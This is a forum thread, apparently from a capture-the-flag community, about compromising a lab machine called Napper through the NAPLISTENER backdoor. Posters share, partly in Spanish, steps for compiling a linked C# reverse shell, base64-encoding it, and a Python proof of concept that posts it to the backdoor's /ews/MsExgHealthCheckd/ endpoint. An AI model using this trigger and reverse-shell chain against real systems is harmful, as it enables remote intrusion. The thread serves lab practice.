[cds77777]

I read something about Naplistener , here is a website, but I do not understand how the PoC works, I did not se a "Naplistener" repository or something to work with this . If someone here is polite and smarter than me , can help me with a hint.

https://www.elastic.co/security-labs/nap...iestagraph

I do not understand how I can trigger this kind of exploit if I had not made it before.

[chillywilly]

i tried this originally and wasnt working, tried with mono and csc
even changed the cmd to powershell and nada when i did it

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc
En el enlace encuentran un archivo .cv solo le cambian la IP el puerto y deben de ponerme donde dice powershell se lo cambian a cmd.exe y compilan el archivo y luego lo pasan a base 64 que es el que pone payload:

Base64 -w0 payload.exe | xclip -sel clip donde dice payload.exe es despues de la compilacion que deben de hacer con el link que les deje adjunto

adicional hay un PoC
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass

[Dtom]

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc

i'm try this
thes is don't work for me ;(
tried with mcs

[S3mj]

I've already got the user flag, any clues about root?

any clue about the user flag?

How to get user any solution.

[peRd1]

i tried to shrink the file size of my binary.

I enabled trimming and the other size saving options in visual studio but it is still 14 MB which is probably still too much to base64 encode and send via http.

Why is your compiled exe that large? It should be few kilobytes. Maybe couple dozens. Certainly not megabytes.

Try using csc or mono.

[maybemia]

I'm wonder how do you gays find the path '/ews/MsExgHealthCheckd/', I couldn't find it in all my dict. Is there any new dict source? or find it by other behaviors or hints. Thanks.

[peRd1]

I'm wonder how do you gays find the path '/ews/MsExgHealthCheckd/', I couldn't find it in all my dict. Is there any new dict source? or find it by other behaviors or hints. Thanks.

+1 , what were the steps involved in order to arrive there? I'm trying to learn

Maybe they used a custom dict or just saw the name of the machine so they recognized the vulnerability.

Read the blog posts, entries, on the website and its internal sites, once you could logon there. It's all there, also specifies sources regarding that vulnerability.

[maybemia]

I'm wonder how do you gays find the path '/ews/MsExgHealthCheckd/', I couldn't find it in all my dict. Is there any new dict source? or find it by other behaviors or hints. Thanks.

+1 , what were the steps involved in order to arrive there? I'm trying to learn

Maybe they used a custom dict or just saw the name of the machine so they recognized the vulnerability.

Read the blog posts, entries, on the website and its internal sites, once you could logon there. It's all there, also specifies sources regarding that vulnerability.

How can I login there ?

I find something useful in "https://app.napper.htb/posts/setup-basic-auth-powershell/" step 6, which solve my problem. Thanks. It seams I need to learn more recon things.

[chillywilly]

my rev shell payload is super slow in read/write

[hcker01]

my rev shell payload  is super slow in read/write

did you do anything special ? I sent the payload base64 encoded but no revshell